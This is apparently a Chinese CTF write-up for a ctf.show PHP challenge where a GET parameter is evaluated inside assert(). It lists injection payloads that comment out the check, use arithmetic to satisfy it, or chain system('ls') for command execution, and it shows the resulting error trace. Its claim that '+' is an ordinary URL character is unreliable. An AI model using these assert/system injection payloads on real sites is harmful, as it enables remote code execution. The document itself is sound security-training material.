<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
观察代码,具体逻辑如下:
如果$_GET['num']的值等于114514,则执行后续的判断。
在判断中使用了assert()函数,该函数用于判断给定的表达式是否为真。如果表达式为假,则会抛出一个致命错误。
表达式为intval($_GET[num])==1919810,即将$_GET['num']强制转换为整数后,判断是否等于1919810。
如果表达式为真,则程序继续执行。
如果表达式为假,则执行die()函数,输出错误信息"一言既出,驷马难追!"并终止程序的执行。
解1:
令num=114514进入条件,然后通过//注释掉后面的部分,直接将后边内容注释掉,执行echo $flag;
payload:?num=114514);//
http://d88f826d-a892-44e3-87d1-4f0d2f27b0ae.challenge.ctf.show/?num=114514);//
解2:
令num=114514进入条件,然后加上一个数,使得num变为1919810,从而通过第二个判断,不抛出错误,执行echo $flag;
payload:?num=114514%2b1805296
%2b是+号的url编码,让其值计算相加等于1919810
可以输出flag
备注:
在URL中,加号(+)和空格有特殊的含义和用途。
空格:空格在URL中是一种特殊字符,用于表示单词之间的间隔。例如,example.com/search?q=hello world 表示对 "hello" 和 "world" 进行搜索。
加号:加号在URL中并不是一种特殊字符,它被视为普通字符。如果你直接在URL中使用加号,它将被解析为加号本身。例如,example.com/query?text=10+20 会被解析为 "10+20"。
所以空格用%20,+号用%2b表示
?num=114514);//
?num=114514);%23 #%23 为井号 #的URL编码
?num=114514%2b1805296
其他的原理payload原理类似:
?num=114514);(19199810
?num=114514)==1 or system('ls');%23 #if判断为True,所以==1,然后通过or来注入其他的命令
?num=114514)==1%20or%20system(%27ls%27);%23 相当于num=114514)==1 or system('ls');#
如果写成这样,即最后不注释:?num=114514)==1 or system('ls');
报错如下:
Fatal error: Uncaught ParseError: syntax error, unexpected ')', expecting end of file in /var/www/html/index.php(6) : assert code:1 Stack trace: #0 /var/www/html/index.php(6): assert('intval(114514)=...', 'assert("intval(...') #1 {main} Next Error: Failure evaluating code: assert("intval({$_GET['num']})==1919810"):"intval(114514)==1 or system('ls');)==1919810" in /var/www/html/index.php:6 Stack trace: #0 /var/www/html/index.php(6): assert('intval(114514)=...', 'assert("intval(...') #1 {main} thrown in /var/www/html/index.php on line 6
其中"intval(114514)==1 or system('ls');)==1919810"可以观察其语法结构:这部分)==1919810语法有问题,所以也
可构造如下形式:
?num=114514)==1 or system('ls') or (1919810
这里的system('ls')可以是其他的代码
%27 为单引号'的URL编码
%23 为井号 #的URL编码